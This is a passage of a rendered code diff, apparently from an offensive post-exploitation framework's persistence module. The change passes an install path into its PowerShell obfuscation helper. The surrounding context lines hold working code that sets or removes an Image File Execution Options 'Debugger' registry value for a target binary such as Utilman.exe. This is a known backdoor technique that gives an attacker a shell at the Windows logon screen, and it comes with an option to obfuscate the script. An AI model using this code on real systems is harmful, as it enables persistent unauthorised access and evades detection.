scriptEnd = helpers.obfuscate(self.mainMenu.installPath, psScript=scriptEnd, obfuscationCommand=obfuscationCommand)
|
||||||
script += scriptEnd
|
script += scriptEnd
|
||||||
return script
|
return script
|
||||||
|
|
|
@ -94,7 +94,7 @@ class Module:
|
||||||
# the registry command to disable the debugger for Utilman.exe
|
# the registry command to disable the debugger for Utilman.exe
|
||||||
script = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s';'%s debugger removed.'" %(targetBinary, targetBinary)
|
script = "Remove-Item 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\%s';'%s debugger removed.'" %(targetBinary, targetBinary)
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
||||||
|
|
||||||
|
@ -133,5 +133,5 @@ class Module:
|
||||||
# the registry command to set the debugger for the specified binary to be the binary path specified
|
# the registry command to set the debugger for the specified binary to be the binary path specified
|
||||||
script = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '"+triggerBinary+"';'"+targetBinary+" debugger set to "+triggerBinary+"'"
|
script = "$null=New-Item -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"';$null=Set-ItemProperty -Force -Path 'HKLM:SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\"+targetBinary+"' -Name Debugger -Value '"+triggerBinary+"';'"+targetBinary+" debugger set to "+triggerBinary+"'"
|
||||||
if obfuscate:
|
if obfuscate:
|
||||||
script = helpers.obfuscate(psScript=script, obfuscationCommand=obfuscationCommand)
|
script = helpers.obfuscate(self.mainMenu.installPath, psScript=script, obfuscationCommand=obfuscationCommand)
|
||||||
return script
|
return script
|
||||||
|
|
Some files were not shown because too many files have changed in this diff Show More
Loading…
Reference in New Issue